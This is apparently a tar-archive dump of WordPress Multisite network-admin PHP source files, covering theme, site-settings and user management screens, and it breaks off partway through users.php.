wp_enqueue_script( 'user-suggest' );

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1 id="add-new-site"><?php _e( 'Add New Site' ); ?></h1>
<?php
if ( ! empty( $messages ) ) {
	foreach ( $messages as $msg ) {
		echo '<div id="message" class="updated notice is-dismissible"><p>' . $msg . '</p></div>';
	}
}
?>
<p>
<?php
printf(
	/* translators: %s: Asterisk symbol (*). */
	__( 'Required fields are marked %s' ),
	'<span class="required">*</span>'
);
?>
</p>
<form method="post" action="<?php echo esc_url( network_admin_url( 'site-new.php?action=add-site' ) ); ?>" novalidate="novalidate">
<?php wp_nonce_field( 'add-blog', '_wpnonce_add-blog' ); ?>
	<table class="form-table" role="presentation">
		<tr class="form-field form-required">
			<th scope="row"><label for="site-address"><?php _e( 'Site Address (URL)' ); ?> <span class="required">*</span></label></th>
			<td>
			<?php if ( is_subdomain_install() ) { ?>
				<input name="blog[domain]" type="text" class="regular-text ltr" id="site-address" aria-describedby="site-address-desc" autocapitalize="none" autocorrect="off" required /><span class="no-break">.<?php echo preg_replace( '|^www\.|', '', get_network()->domain ); ?></span>
				<?php
			} else {
				echo get_network()->domain . get_network()->path
				?>
				<input name="blog[domain]" type="text" class="regular-text ltr" id="site-address" aria-describedby="site-address-desc" autocapitalize="none" autocorrect="off" required />
				<?php
			}
			echo '<p class="description" id="site-address-desc">' . __( 'Only lowercase letters (a-z), numbers, and hyphens are allowed.' ) . '</p>';
			?>
			</td>
		</tr>
		<tr class="form-field form-required">
			<th scope="row"><label for="site-title"><?php _e( 'Site Title' ); ?> <span class="required">*</span></label></th>
			<td><input name="blog[title]" type="text" class="regular-text" id="site-title" required /></td>
		</tr>
		<?php
		$languages    = get_available_languages();
		$translations = wp_get_available_translations();
		if ( ! empty( $languages ) || ! empty( $translations ) ) :
			?>
			<tr class="form-field form-required">
				<th scope="row"><label for="site-language"><?php _e( 'Site Language' ); ?></label></th>
				<td>
					<?php
					// Network default.
					$lang = get_site_option( 'WPLANG' );

					// Use English if the default isn't available.
					if ( ! in_array( $lang, $languages, true ) ) {
						$lang = '';
					}

					wp_dropdown_languages(
						array(
							'name'                        => 'WPLANG',
							'id'                          => 'site-language',
							'selected'                    => $lang,
							'languages'                   => $languages,
							'translations'                => $translations,
							'show_available_translations' => current_user_can( 'install_languages' ) && wp_can_install_language_pack(),
						)
					);
					?>
				</td>
			</tr>
		<?php endif; // Languages. ?>
		<tr class="form-field form-required">
			<th scope="row"><label for="admin-email"><?php _e( 'Admin Email' ); ?> <span class="required">*</span></label></th>
			<td><input name="blog[email]" type="email" class="regular-text wp-suggest-user" id="admin-email" data-autocomplete-type="search" data-autocomplete-field="user_email" aria-describedby="site-admin-email" required /></td>
		</tr>
		<tr class="form-field">
			<td colspan="2" class="td-full"><p id="site-admin-email"><?php _e( 'A new user will be created if the above email address is not in the database.' ); ?><br /><?php _e( 'The username and a link to set the password will be mailed to this email address.' ); ?></p></td>
		</tr>
	</table>

	<?php
	/**
	 * Fires at the end of the new site form in network admin.
	 *
	 * @since 4.5.0
	 */
	do_action( 'network_site_new_form' );

	submit_button( __( 'Add Site' ), 'primary', 'add-site' );
	?>
	</form>
</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
themes.php000064400000037317152333305150006555 0ustar00<?php
/**
 * Multisite themes administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_network_themes' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage network themes.' ) );
}

$wp_list_table = _get_list_table( 'WP_MS_Themes_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();

$action = $wp_list_table->current_action();

$s = isset( $_REQUEST['s'] ) ? $_REQUEST['s'] : '';

// Clean up request URI from temporary args for screen options/paging uri's to work as expected.
$temp_args = array(
	'enabled',
	'disabled',
	'deleted',
	'error',
	'enabled-auto-update',
	'disabled-auto-update',
);

$_SERVER['REQUEST_URI'] = remove_query_arg( $temp_args, $_SERVER['REQUEST_URI'] );
$referer                = remove_query_arg( $temp_args, wp_get_referer() );

if ( $action ) {
	switch ( $action ) {
		case 'enable':
			check_admin_referer( 'enable-theme_' . $_GET['theme'] );
			WP_Theme::network_enable_theme( $_GET['theme'] );
			if ( false === strpos( $referer, '/network/themes.php' ) ) {
				wp_redirect( network_admin_url( 'themes.php?enabled=1' ) );
			} else {
				wp_safe_redirect( add_query_arg( 'enabled', 1, $referer ) );
			}
			exit;
		case 'disable':
			check_admin_referer( 'disable-theme_' . $_GET['theme'] );
			WP_Theme::network_disable_theme( $_GET['theme'] );
			wp_safe_redirect( add_query_arg( 'disabled', '1', $referer ) );
			exit;
		case 'enable-selected':
			check_admin_referer( 'bulk-themes' );
			$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
				exit;
			}
			WP_Theme::network_enable_theme( (array) $themes );
			wp_safe_redirect( add_query_arg( 'enabled', count( $themes ), $referer ) );
			exit;
		case 'disable-selected':
			check_admin_referer( 'bulk-themes' );
			$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
				exit;
			}
			WP_Theme::network_disable_theme( (array) $themes );
			wp_safe_redirect( add_query_arg( 'disabled', count( $themes ), $referer ) );
			exit;
		case 'update-selected':
			check_admin_referer( 'bulk-themes' );

			if ( isset( $_GET['themes'] ) ) {
				$themes = explode( ',', $_GET['themes'] );
			} elseif ( isset( $_POST['checked'] ) ) {
				$themes = (array) $_POST['checked'];
			} else {
				$themes = array();
			}

			$title       = __( 'Update Themes' );
			$parent_file = 'themes.php';

			require_once ABSPATH . 'wp-admin/admin-header.php';

			echo '<div class="wrap">';
			echo '<h1>' . esc_html( $title ) . '</h1>';

			$url = self_admin_url( 'update.php?action=update-selected-themes&amp;themes=' . urlencode( implode( ',', $themes ) ) );
			$url = wp_nonce_url( $url, 'bulk-update-themes' );

			echo "<iframe src='$url' style='width: 100%; height:100%; min-height:850px;'></iframe>";
			echo '</div>';
			require_once ABSPATH . 'wp-admin/admin-footer.php';
			exit;
		case 'delete-selected':
			if ( ! current_user_can( 'delete_themes' ) ) {
				wp_die( __( 'Sorry, you are not allowed to delete themes for this site.' ) );
			}

			check_admin_referer( 'bulk-themes' );

			$themes = isset( $_REQUEST['checked'] ) ? (array) $_REQUEST['checked'] : array();

			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
				exit;
			}

			$themes = array_diff( $themes, array( get_option( 'stylesheet' ), get_option( 'template' ) ) );

			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'main', $referer ) );
				exit;
			}

			$theme_info = array();
			foreach ( $themes as $key => $theme ) {
				$theme_info[ $theme ] = wp_get_theme( $theme );
			}

			require ABSPATH . 'wp-admin/update.php';

			$parent_file = 'themes.php';

			if ( ! isset( $_REQUEST['verify-delete'] ) ) {
				wp_enqueue_script( 'jquery' );
				require_once ABSPATH . 'wp-admin/admin-header.php';
				$themes_to_delete = count( $themes );
				?>
				<div class="wrap">
				<?php if ( 1 === $themes_to_delete ) : ?>
					<h1><?php _e( 'Delete Theme' ); ?></h1>
					<div class="error"><p><strong><?php _e( 'Caution:' ); ?></strong> <?php _e( 'This theme may be active on other sites in the network.' ); ?></p></div>
					<p><?php _e( 'You are about to remove the following theme:' ); ?></p>
				<?php else : ?>
					<h1><?php _e( 'Delete Themes' ); ?></h1>
					<div class="error"><p><strong><?php _e( 'Caution:' ); ?></strong> <?php _e( 'These themes may be active on other sites in the network.' ); ?></p></div>
					<p><?php _e( 'You are about to remove the following themes:' ); ?></p>
				<?php endif; ?>
					<ul class="ul-disc">
					<?php
					foreach ( $theme_info as $theme ) {
						echo '<li>' . sprintf(
							/* translators: 1: Theme name, 2: Theme author. */
							_x( '%1$s by %2$s', 'theme' ),
							'<strong>' . $theme->display( 'Name' ) . '</strong>',
							'<em>' . $theme->display( 'Author' ) . '</em>'
						) . '</li>';
					}
					?>
					</ul>
				<?php if ( 1 === $themes_to_delete ) : ?>
					<p><?php _e( 'Are you sure you want to delete this theme?' ); ?></p>
				<?php else : ?>
					<p><?php _e( 'Are you sure you want to delete these themes?' ); ?></p>
				<?php endif; ?>
				<form method="post" action="<?php echo esc_url( $_SERVER['REQUEST_URI'] ); ?>" style="display:inline;">
					<input type="hidden" name="verify-delete" value="1" />
					<input type="hidden" name="action" value="delete-selected" />
					<?php

					foreach ( (array) $themes as $theme ) {
						echo '<input type="hidden" name="checked[]" value="' . esc_attr( $theme ) . '" />';
					}

					wp_nonce_field( 'bulk-themes' );

					if ( 1 === $themes_to_delete ) {
						submit_button( __( 'Yes, delete this theme' ), '', 'submit', false );
					} else {
						submit_button( __( 'Yes, delete these themes' ), '', 'submit', false );
					}

					?>
				</form>
				<?php $referer = wp_get_referer(); ?>
				<form method="post" action="<?php echo $referer ? esc_url( $referer ) : ''; ?>" style="display:inline;">
					<?php submit_button( __( 'No, return me to the theme list' ), '', 'submit', false ); ?>
				</form>
				</div>
				<?php

				require_once ABSPATH . 'wp-admin/admin-footer.php';
				exit;
			} // End if verify-delete.

			foreach ( $themes as $theme ) {
				$delete_result = delete_theme(
					$theme,
					esc_url(
						add_query_arg(
							array(
								'verify-delete' => 1,
								'action'        => 'delete-selected',
								'checked'       => $_REQUEST['checked'],
								'_wpnonce'      => $_REQUEST['_wpnonce'],
							),
							network_admin_url( 'themes.php' )
						)
					)
				);
			}

			$paged = ( $_REQUEST['paged'] ) ? $_REQUEST['paged'] : 1;
			wp_redirect(
				add_query_arg(
					array(
						'deleted' => count( $themes ),
						'paged'   => $paged,
						's'       => $s,
					),
					network_admin_url( 'themes.php' )
				)
			);
			exit;
		case 'enable-auto-update':
		case 'disable-auto-update':
		case 'enable-auto-update-selected':
		case 'disable-auto-update-selected':
			if ( ! ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) ) {
				wp_die( __( 'Sorry, you are not allowed to change themes automatic update settings.' ) );
			}

			if ( 'enable-auto-update' === $action || 'disable-auto-update' === $action ) {
				check_admin_referer( 'updates' );
			} else {
				if ( empty( $_POST['checked'] ) ) {
					// Nothing to do.
					wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
					exit;
				}

				check_admin_referer( 'bulk-themes' );
			}

			$auto_updates = (array) get_site_option( 'auto_update_themes', array() );

			if ( 'enable-auto-update' === $action ) {
				$auto_updates[] = $_GET['theme'];
				$auto_updates   = array_unique( $auto_updates );
				$referer        = add_query_arg( 'enabled-auto-update', 1, $referer );
			} elseif ( 'disable-auto-update' === $action ) {
				$auto_updates = array_diff( $auto_updates, array( $_GET['theme'] ) );
				$referer      = add_query_arg( 'disabled-auto-update', 1, $referer );
			} else {
				// Bulk enable/disable.
				$themes = (array) wp_unslash( $_POST['checked'] );

				if ( 'enable-auto-update-selected' === $action ) {
					$auto_updates = array_merge( $auto_updates, $themes );
					$auto_updates = array_unique( $auto_updates );
					$referer      = add_query_arg( 'enabled-auto-update', count( $themes ), $referer );
				} else {
					$auto_updates = array_diff( $auto_updates, $themes );
					$referer      = add_query_arg( 'disabled-auto-update', count( $themes ), $referer );
				}
			}

			$all_items = wp_get_themes();

			// Remove themes that don't exist or have been deleted since the option was last updated.
			$auto_updates = array_intersect( $auto_updates, array_keys( $all_items ) );

			update_site_option( 'auto_update_themes', $auto_updates );

			wp_safe_redirect( $referer );
			exit;
		default:
			$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
				exit;
			}
			check_admin_referer( 'bulk-themes' );

			/** This action is documented in wp-admin/network/site-themes.php */
			$referer = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $referer, $action, $themes ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

			wp_safe_redirect( $referer );
			exit;
	}
}

$wp_list_table->prepare_items();

add_thickbox();

add_screen_option( 'per_page' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'This screen enables and disables the inclusion of themes available to choose in the Appearance menu for each site. It does not activate or deactivate which theme a site is currently using.' ) . '</p>' .
			'<p>' . __( 'If the network admin disables a theme that is in use, it can still remain selected on that site. If another theme is chosen, the disabled theme will not appear in the site&#8217;s Appearance > Themes screen.' ) . '</p>' .
			'<p>' . __( 'Themes can be enabled on a site by site basis by the network admin on the Edit Site screen (which has a Themes tab); get there via the Edit action link on the All Sites screen. Only network admins are able to install or edit themes.' ) . '</p>',
	)
);

$help_sidebar_autoupdates = '';

if ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) {
	get_current_screen()->add_help_tab(
		array(
			'id'      => 'plugins-themes-auto-updates',
			'title'   => __( 'Auto-updates' ),
			'content' =>
				'<p>' . __( 'Auto-updates can be enabled or disabled for each individual theme. Themes with auto-updates enabled will display the estimated date of the next auto-update. Auto-updates depends on the WP-Cron task scheduling system.' ) . '</p>' .
				'<p>' . __( 'Please note: Third-party themes and plugins, or custom code, may override WordPress scheduling.' ) . '</p>',
		)
	);

	$help_sidebar_autoupdates = '<p>' . __( '<a href="https://wordpress.org/support/article/plugins-themes-auto-updates/">Learn more: Auto-updates documentation</a>' ) . '</p>';
}

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Network_Admin_Themes_Screen">Documentation on Network Themes</a>' ) . '</p>' .
	$help_sidebar_autoupdates .
	'<p>' . __( '<a href="https://wordpress.org/support/">Support</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter themes list' ),
		'heading_pagination' => __( 'Themes list navigation' ),
		'heading_list'       => __( 'Themes list' ),
	)
);

$title       = __( 'Themes' );
$parent_file = 'themes.php';

wp_enqueue_script( 'updates' );
wp_enqueue_script( 'theme-preview' );

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1>

<?php if ( current_user_can( 'install_themes' ) ) : ?>
	<a href="theme-install.php" class="page-title-action"><?php echo esc_html_x( 'Add New', 'theme' ); ?></a>
<?php endif; ?>

<?php
if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) {
	echo '<span class="subtitle">';
	printf(
		/* translators: %s: Search query. */
		__( 'Search results for: %s' ),
		'<strong>' . esc_html( $s ) . '</strong>'
	);
	echo '</span>';
}
?>

<hr class="wp-header-end">

<?php
if ( isset( $_GET['enabled'] ) ) {
	$enabled = absint( $_GET['enabled'] );
	if ( 1 === $enabled ) {
		$message = __( 'Theme enabled.' );
	} else {
		/* translators: %s: Number of themes. */
		$message = _n( '%s theme enabled.', '%s themes enabled.', $enabled );
	}
	echo '<div id="message" class="updated notice is-dismissible"><p>' . sprintf( $message, number_format_i18n( $enabled ) ) . '</p></div>';
} elseif ( isset( $_GET['disabled'] ) ) {
	$disabled = absint( $_GET['disabled'] );
	if ( 1 === $disabled ) {
		$message = __( 'Theme disabled.' );
	} else {
		/* translators: %s: Number of themes. */
		$message = _n( '%s theme disabled.', '%s themes disabled.', $disabled );
	}
	echo '<div id="message" class="updated notice is-dismissible"><p>' . sprintf( $message, number_format_i18n( $disabled ) ) . '</p></div>';
} elseif ( isset( $_GET['deleted'] ) ) {
	$deleted = absint( $_GET['deleted'] );
	if ( 1 === $deleted ) {
		$message = __( 'Theme deleted.' );
	} else {
		/* translators: %s: Number of themes. */
		$message = _n( '%s theme deleted.', '%s themes deleted.', $deleted );
	}
	echo '<div id="message" class="updated notice is-dismissible"><p>' . sprintf( $message, number_format_i18n( $deleted ) ) . '</p></div>';
} elseif ( isset( $_GET['enabled-auto-update'] ) ) {
	$enabled = absint( $_GET['enabled-auto-update'] );
	if ( 1 === $enabled ) {
		$message = __( 'Theme will be auto-updated.' );
	} else {
		/* translators: %s: Number of themes. */
		$message = _n( '%s theme will be auto-updated.', '%s themes will be auto-updated.', $enabled );
	}
	echo '<div id="message" class="updated notice is-dismissible"><p>' . sprintf( $message, number_format_i18n( $enabled ) ) . '</p></div>';
} elseif ( isset( $_GET['disabled-auto-update'] ) ) {
	$disabled = absint( $_GET['disabled-auto-update'] );
	if ( 1 === $disabled ) {
		$message = __( 'Theme will no longer be auto-updated.' );
	} else {
		/* translators: %s: Number of themes. */
		$message = _n( '%s theme will no longer be auto-updated.', '%s themes will no longer be auto-updated.', $disabled );
	}
	echo '<div id="message" class="updated notice is-dismissible"><p>' . sprintf( $message, number_format_i18n( $disabled ) ) . '</p></div>';
} elseif ( isset( $_GET['error'] ) && 'none' === $_GET['error'] ) {
	echo '<div id="message" class="error notice is-dismissible"><p>' . __( 'No theme selected.' ) . '</p></div>';
} elseif ( isset( $_GET['error'] ) && 'main' === $_GET['error'] ) {
	echo '<div class="error notice is-dismissible"><p>' . __( 'You cannot delete a theme while it is active on the main site.' ) . '</p></div>';
}

?>

<form method="get">
<?php $wp_list_table->search_box( __( 'Search Installed Themes' ), 'theme' ); ?>
</form>

<?php
$wp_list_table->views();

if ( 'broken' === $status ) {
	echo '<p class="clear">' . __( 'The following themes are installed but incomplete.' ) . '</p>';
}
?>

<form id="bulk-action-form" method="post">
<input type="hidden" name="theme_status" value="<?php echo esc_attr( $status ); ?>" />
<input type="hidden" name="paged" value="<?php echo esc_attr( $page ); ?>" />

<?php $wp_list_table->display(); ?>
</form>

</div>

<?php
wp_print_request_filesystem_credentials_modal();
wp_print_admin_notice_templates();
wp_print_update_row_templates();

require_once ABSPATH . 'wp-admin/admin-footer.php';
plugins.php000064400000000371152333305150006737 0ustar00<?php
/**
 * Network Plugins administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/plugins.php';
profile.php000064400000000376152333305150006723 0ustar00<?php
/**
 * User profile network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/profile.php';
site-settings.php000064400000012703152333305150010062 0ustar00<?php
/**
 * Edit Site Settings Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to edit this site.' ) );
}

get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( ! $id ) {
	wp_die( __( 'Invalid site ID.' ) );
}

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( 'The requested site does not exist.' ) );
}

if ( ! can_edit_network( $details->site_id ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$is_main_site = is_main_site( $id );

if ( isset( $_REQUEST['action'] ) && 'update-site' === $_REQUEST['action'] && is_array( $_POST['option'] ) ) {
	check_admin_referer( 'edit-site' );

	switch_to_blog( $id );

	$skip_options = array( 'allowedthemes' ); // Don't update these options since they are handled elsewhere in the form.
	foreach ( (array) $_POST['option'] as $key => $val ) {
		$key = wp_unslash( $key );
		$val = wp_unslash( $val );
		if ( 0 === $key || is_array( $val ) || in_array( $key, $skip_options, true ) ) {
			continue; // Avoids "0 is a protected WP option and may not be modified" error when editing blog options.
		}
		update_option( $key, $val );
	}

	/**
	 * Fires after the site options are updated.
	 *
	 * @since 3.0.0
	 * @since 4.4.0 Added `$id` parameter.
	 *
	 * @param int $id The ID of the site being updated.
	 */
	do_action( 'wpmu_update_blog_options', $id );

	restore_current_blog();
	wp_redirect(
		add_query_arg(
			array(
				'update' => 'updated',
				'id'     => $id,
			),
			'site-settings.php'
		)
	);
	exit;
}

if ( isset( $_GET['update'] ) ) {
	$messages = array();
	if ( 'updated' === $_GET['update'] ) {
		$messages[] = __( 'Site options updated.' );
	}
}

/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );

$parent_file  = 'sites.php';
$submenu_file = 'sites.php';

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1 id="edit-site"><?php echo $title; ?></h1>
<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>

<?php

network_edit_site_nav(
	array(
		'blog_id'  => $id,
		'selected' => 'site-settings',
	)
);

if ( ! empty( $messages ) ) {
	foreach ( $messages as $msg ) {
		echo '<div id="message" class="updated notice is-dismissible"><p>' . $msg . '</p></div>';
	}
}
?>
<form method="post" action="site-settings.php?action=update-site">
	<?php wp_nonce_field( 'edit-site' ); ?>
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<?php
		$blog_prefix = $wpdb->get_blog_prefix( $id );
		$sql         = "SELECT * FROM {$blog_prefix}options
			WHERE option_name NOT LIKE %s
			AND option_name NOT LIKE %s";
		$query       = $wpdb->prepare(
			$sql,
			$wpdb->esc_like( '_' ) . '%',
			'%' . $wpdb->esc_like( 'user_roles' )
		);
		$options     = $wpdb->get_results( $query );

		foreach ( $options as $option ) {
			if ( 'default_role' === $option->option_name ) {
				$editblog_default_role = $option->option_value;
			}

			$disabled = false;
			$class    = 'all-options';

			if ( is_serialized( $option->option_value ) ) {
				if ( is_serialized_string( $option->option_value ) ) {
					$option->option_value = esc_html( maybe_unserialize( $option->option_value ) );
				} else {
					$option->option_value = 'SERIALIZED DATA';
					$disabled             = true;
					$class                = 'all-options disabled';
				}
			}

			if ( strpos( $option->option_value, "\n" ) !== false ) {
				?>
				<tr class="form-field">
					<th scope="row"><label for="<?php echo esc_attr( $option->option_name ); ?>"><?php echo ucwords( str_replace( '_', ' ', $option->option_name ) ); ?></label></th>
					<td><textarea class="<?php echo $class; ?>" rows="5" cols="40" name="option[<?php echo esc_attr( $option->option_name ); ?>]" id="<?php echo esc_attr( $option->option_name ); ?>"<?php disabled( $disabled ); ?>><?php echo esc_textarea( $option->option_value ); ?></textarea></td>
				</tr>
				<?php
			} else {
				?>
				<tr class="form-field">
					<th scope="row"><label for="<?php echo esc_attr( $option->option_name ); ?>"><?php echo esc_html( ucwords( str_replace( '_', ' ', $option->option_name ) ) ); ?></label></th>
					<?php if ( $is_main_site && in_array( $option->option_name, array( 'siteurl', 'home' ), true ) ) { ?>
					<td><code><?php echo esc_html( $option->option_value ); ?></code></td>
					<?php } else { ?>
					<td><input class="<?php echo $class; ?>" name="option[<?php echo esc_attr( $option->option_name ); ?>]" type="text" id="<?php echo esc_attr( $option->option_name ); ?>" value="<?php echo esc_attr( $option->option_value ); ?>" size="40" <?php disabled( $disabled ); ?> /></td>
					<?php } ?>
				</tr>
				<?php
			}
		} // End foreach.

		/**
		 * Fires at the end of the Edit Site form, before the submit button.
		 *
		 * @since 3.0.0
		 *
		 * @param int $id Site ID.
		 */
		do_action( 'wpmueditblogaction', $id );
		?>
	</table>
	<?php submit_button(); ?>
</form>

</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
admin.php000064400000002000152333305150006335 0ustar00<?php
/**
 * WordPress Network Administration Bootstrap
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

define( 'WP_NETWORK_ADMIN', true );

/** Load WordPress Administration Bootstrap */
require_once dirname( __DIR__ ) . '/admin.php';

// Do not remove this check. It is required by individual network admin pages.
if ( ! is_multisite() ) {
	wp_die( __( 'Multisite support is not enabled.' ) );
}

$redirect_network_admin_request = ( 0 !== strcasecmp( $current_blog->domain, $current_site->domain ) || 0 !== strcasecmp( $current_blog->path, $current_site->path ) );

/**
 * Filters whether to redirect the request to the Network Admin.
 *
 * @since 3.2.0
 *
 * @param bool $redirect_network_admin_request Whether the request should be redirected.
 */
$redirect_network_admin_request = apply_filters( 'redirect_network_admin_request', $redirect_network_admin_request );

if ( $redirect_network_admin_request ) {
	wp_redirect( network_admin_url() );
	exit;
}

unset( $redirect_network_admin_request );
about.php000064400000000365152333305150006373 0ustar00<?php
/**
 * Network About administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.4.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/about.php';
users.php000064400000022141152333305150006416 0ustar00<?php
/**
 * Multisite users administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_network_users' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

if ( isset( $_GET['action'] ) ) {
	/** This action is documented in wp-admin/network/edit.php */
	do_action( 'wpmuadminedit' );

	switch ( $_GET['action'] ) {
		case 'deleteuser':
			if ( ! current_user_can( 'manage_network_users' ) ) {
				wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
			}

			check_admin_referer( 'deleteuser' );

			$id = (int) $_GET['id'];
			if ( $id > 1 ) {
				$_POST['allusers'] = array( $id ); // confirm_delete_users() can only handle arrays.
				$title             = __( 'Users' );
				$parent_file       = 'users.php';
				require_once ABSPATH . 'wp-admin/admin-header.php';
				echo '<div class="wrap">';
				confirm_delete_users( $_POST['allusers'] );
				echo '</div>';
				require_once ABSPATH . 'wp-admin/admin-footer.php';
			} else {
				wp_redirect( network_admin_url( 'users.php' ) );
			}
			exit;

		case 'allusers':
			if ( ! current_user_can( 'manage_network_users' ) ) {
				wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
			}

			if ( isset( $_POST['action'] ) && isset( $_POST['allusers'] ) ) {
				check_admin_referer( 'bulk-users-network' );

				$doaction     = $_POST['action'];
				$userfunction = '';

				foreach ( (array) $_POST['allusers'] as $user_id ) {
					if ( ! empty( $user_id ) ) {
						switch ( $doaction ) {
							case 'delete':
								if ( ! current_user_can( 'delete_users' ) ) {
									wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
								}
								$title       = __( 'Users' );
								$parent_file = 'users.php';
								require_once ABSPATH . 'wp-admin/admin-header.php';
								echo '<div class="wrap">';
								confirm_delete_users( $_POST['allusers'] );
								echo '</div>';
								require_once ABSPATH . 'wp-admin/admin-footer.php';
								exit;

							case 'spam':
								$user = get_userdata( $user_id );
								if ( is_super_admin( $user->ID ) ) {
									wp_die(
										sprintf(
											/* translators: %s: User login. */
											__( 'Warning! User cannot be modified. The user %s is a network administrator.' ),
											esc_html( $user->user_login )
										)
									);
								}

								$userfunction = 'all_spam';
								$blogs        = get_blogs_of_user( $user_id, true );

								foreach ( (array) $blogs as $details ) {
									if ( get_network()->site_id != $details->userblog_id ) { // Main blog is not a spam!
										update_blog_status( $details->userblog_id, 'spam', '1' );
									}
								}

								$user_data         = $user->to_array();
								$user_data['spam'] = '1';

								wp_update_user( $user_data );
								break;

							case 'notspam':
								$user = get_userdata( $user_id );

								$userfunction = 'all_notspam';
								$blogs        = get_blogs_of_user( $user_id, true );

								foreach ( (array) $blogs as $details ) {
									update_blog_status( $details->userblog_id, 'spam', '0' );
								}

								$user_data         = $user->to_array();
								$user_data['spam'] = '0';

								wp_update_user( $user_data );
								break;
						}
					}
				}

				if ( ! in_array( $doaction, array( 'delete', 'spam', 'notspam' ), true ) ) {
					$sendback = wp_get_referer();
					$user_ids = (array) $_POST['allusers'];

					/** This action is documented in wp-admin/network/site-themes.php */
					$sendback = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $sendback, $doaction, $user_ids ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

					wp_safe_redirect( $sendback );
					exit;
				}

				wp_safe_redirect(
					add_query_arg(
						array(
							'updated' => 'true',
							'action'  => $userfunction,
						),
						wp_get_referer()
					)
				);
			} else {
				$location = network_admin_url( 'users.php' );

				if ( ! empty( $_REQUEST['paged'] ) ) {
					$location = add_query_arg( 'paged', (int) $_REQUEST['paged'], $location );
				}
				wp_redirect( $location );
			}
			exit;

		case 'dodelete':
			check_admin_referer( 'ms-users-delete' );
			if ( ! ( current_user_can( 'manage_network_users' ) && current_user_can( 'delete_users' ) ) ) {
				wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
			}

			if ( ! empty( $_POST['blog'] ) && is_array( $_POST['blog'] ) ) {
				foreach ( $_POST['blog'] as $id => $users ) {
					foreach ( $users as $blogid => $user_id ) {
						if ( ! current_user_can( 'delete_user', $id ) ) {
							continue;
						}

						if ( ! empty( $_POST['delete'] ) && 'reassign' === $_POST['delete'][ $blogid ][ $id ] ) {
							remove_user_from_blog( $id, $blogid, (int) $user_id );
						} else {
							remove_user_from_blog( $id, $blogid );
						}
					}
				}
			}

			$i = 0;

			if ( is_array( $_POST['user'] ) && ! empty( $_POST['user'] ) ) {
				foreach ( $_POST['user'] as $id ) {
					if ( ! current_user_can( 'delete_user', $id ) ) {
						continue;
					}
					wpmu_delete_user( $id );
					$i++;
				}
			}

			if ( 1 === $i ) {
				$deletefunction = 'delete';
